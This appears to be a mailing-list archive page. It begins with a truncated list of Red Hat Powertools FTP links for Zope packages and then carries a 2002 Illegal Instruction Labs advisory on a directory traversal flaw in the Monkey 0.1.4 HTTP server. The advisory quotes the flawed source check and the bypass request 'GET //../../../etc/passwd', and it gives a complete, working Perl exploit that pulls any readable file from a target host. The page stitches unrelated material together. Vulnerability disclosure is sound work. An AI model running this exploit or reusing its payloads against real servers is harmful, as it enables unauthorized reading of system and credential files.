ftp://updates.redhat.com/7.0/en/powertools/SRPMS/Zope-2.2.5-17.src.rpm

alpha:
ftp://updates.redhat.com/7.0/en/powertools/alpha/Zope-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.0/en/powertools/alpha/Zope-components-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.0/en/powertools/alpha/Zope-core-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.0/en/powertools/alpha/Zope-pcgi-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.0/en/powertools/alpha/Zope-services-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.0/en/powertools/alpha/Zope-zpublisher-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.0/en/powertools/alpha/Zope-zserver-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.0/en/powertools/alpha/Zope-ztemplates-2.2.5-17.alpha.rpm

i386:
ftp://updates.redhat.com/7.0/en/powertools/i386/Zope-2.2.5-17.i386.rpm
ftp://updates.redhat.com/7.0/en/powertools/i386/Zope-components-2.2.5-17.i386.rpm
ftp://updates.redhat.com/7.0/en/powertools/i386/Zope-core-2.2.5-17.i386.rpm
ftp://updates.redhat.com/7.0/en/powertools/i386/Zope-pcgi-2.2.5-17.i386.rpm
ftp://updates.redhat.com/7.0/en/powertools/i386/Zope-services-2.2.5-17.i386.rpm
ftp://updates.redhat.com/7.0/en/powertools/i386/Zope-zpublisher-2.2.5-17.i386.rpm
ftp://updates.redhat.com/7.0/en/powertools/i386/Zope-zserver-2.2.5-17.i386.rpm
ftp://updates.redhat.com/7.0/en/powertools/i386/Zope-ztemplates-2.2.5-17.i386.rpm

Red Hat Powertools 7.1:

SRPMS:
ftp://updates.redhat.com/7.1/en/powertools/SRPMS/Zope-2.2.5-17.src.rpm

alpha:
ftp://updates.redhat.com/7.1/en/powertools/alpha/Zope-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.1/en/powertools/alpha/Zope-components-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.1/en/powertools/alpha/Zope-core-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.1/en/powertools/alpha/Zope-pcgi-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.1/en/powertools/alpha/Zope-services-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.1/en/powertools/alpha/Zope-zpublisher-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.1/en/powertools/alpha/Zope-zserver-2.2.5-17.alpha.rpm
ftp://updates.redhat.com/7.1/en/powertools/alpha/Zope-ztemplates-2.2.5-17.alpha.rpm

i386:
ftp://updates.redhat.com/7.1/en/powertools/i386/Zope-2.2.5-17.i386.rpm
ftp://updates.redhat.com/7.1/en/powertools/i386/Zope-components-2.2.5-17.i386.rpm
ftp://updates.redhat.com/7.1/en/powertools/i386/Zope-core-2.2.5-17.i386.rpm
ftp://updates.redhat.com/7.1/en/powertools/i386/Zope-pcgi-2.2.5-17.i386.rpm
ftp://updates.redhat.com/7.1/en/po

IIL Advisory: Reverse traversal vulnerability in Monkey (0.1.4) HTTP server

2002-09-25 Thread DownBload




[ Illegal Instruction Labs Advisory ]
[-]
Advisory name: Reverse traversal vulnerability in Monkey (0.1.4) HTTP 
server
Advisory number: 12
Application: Monkey (0.1.4) HTTP server
Application author: Eduardo Silva 
(EdsipeR) 
Author e-mail: [EMAIL PROTECTED]
Monkey Project: http://monkeyd.sourceforge.net
Date: 06.09.2002
Impact: Attacker can read files out of SERVER_ROOT directory
Tested on: Debian 2.1 (2.0.36 kernel)
Discovered by: DownBload
Mail me @: [EMAIL PROTECTED]




==[ Overview 
Monkey is very simple and fast HTTP server (daemon). 
Monkey supports HEAD & GET methods, multiple connections, 100 MIME types.




==[ Problem 
Monkey doesn't check HTTP request for ../ string, and because of that, 
attacker can view any file out of SERVER_ROOT directory which Monkey can 
read (if Monkey is running under root account, attacker can read any file 
on that machine). 
There is still one thing which will make attack a little more "complicate":

- src/method.c
...
if((strcmp(aux_request,"/"))==0 || aux_request[1]=='.' ) {
snprintf(filename,255,"%s",SERVER_ROOT);
}
...

Translated to (poor:) english: 
If our request is / or second char of our request is . , than path will be
set to SERVER_ROOT, and in that case, we can't go out of SERVER_ROOT 
directory. 

Previous "if" will prevent simple reverse traversal attack like this one:
---cut here---
GET /../../../../../../../../../etc/passwd HTTP/1.0
---cut here---

But can't prevent this reverse traversal attack:
---cut here---
GET //../../../../../../../../../etc/passwd HTTP/1.0
---cut here---




==[ Exploit

---cut here---
#!/usr/bin/perl
#
# (0 day;) Monkey-0.1.4 reverse traversal exploit 
#
# Usage: 
#perl monkey.pl   
#
# - target host 
# - port on which HTTP daemon is listening
# - file which you wanna get
#
# Example:
#perl monkey.pl www.ii-labs.org 80 /etc/passwd
#   
# by DownBload <[EMAIL PROTECTED]>
# Illegal Instruction Labs 
#
use IO::Socket;

 sub sock () {
   $SOCK = IO::Socket::INET->new (PeerAddr => $host, 
  PeerPort => $port,
  Proto=> "tcp") 
   || die "[ ERROR: Can't connect to $host!!! ]\n\n";
 }

 sub banner() {
  print "[--]\n";
  print "[   Monkey-0.1.4 reverse traversal exploit ]\n";
  print "[by DownBload   ]\n";
  print "[ Illegal Instruction Labs ]\n";
  print "[--]\n";
 }

 if ($#ARGV != 2)
 {
  banner();
  print "[ Usage:   ]\n";
  print "[perl monkey.pl  ]\n";
  print "[--]\n";
  exit(0);
 } 

 $host = $ARGV[0];
 $port = $ARGV[1];
 $file = $ARGV[2];

 banner();
 print "[ Connecting to $host... ]\n";
 sock();
 print "[ Sending probe... ]\n";
 print $SOCK "HEAD / HTTP/1.0\n\n";
 while ($a = <$SOCK>) { $line = $line . $a; } 
 if ($line =~ /Monkey/) { print "[ Monkey HTTP server found, 
continuing... ]\n"; }
 else { die "[ SORRY: That's not Monkey HTTP server :( ]\n\n"; }
 close ($SOCK);

 print "[ Connecting to $host... ]\n";
 sock();
 print "[ Sending GET request... ]\n";
 print $SOCK "GET //../../../../../../../../../$file HTTP/1.0\n\n";
 print "[ Waiting for response... ]\n\n";
 while ($line = <$SOCK>) { print $line; }
 close ($SOCK);
---cut here---




==[ Greetz 
Greetz goes to #hr.hackers, #ii-labs and #linux . 
Special greetz goes to (rand()): St0rm, BoyScout, h4z4rd, finis, Sunnis, 
Fr1c, phreax, StYx, harlequin, LekaMan, Astral and www.active-security.org 
(NetZero & Paradox). I'm very sorry if I forgot someone.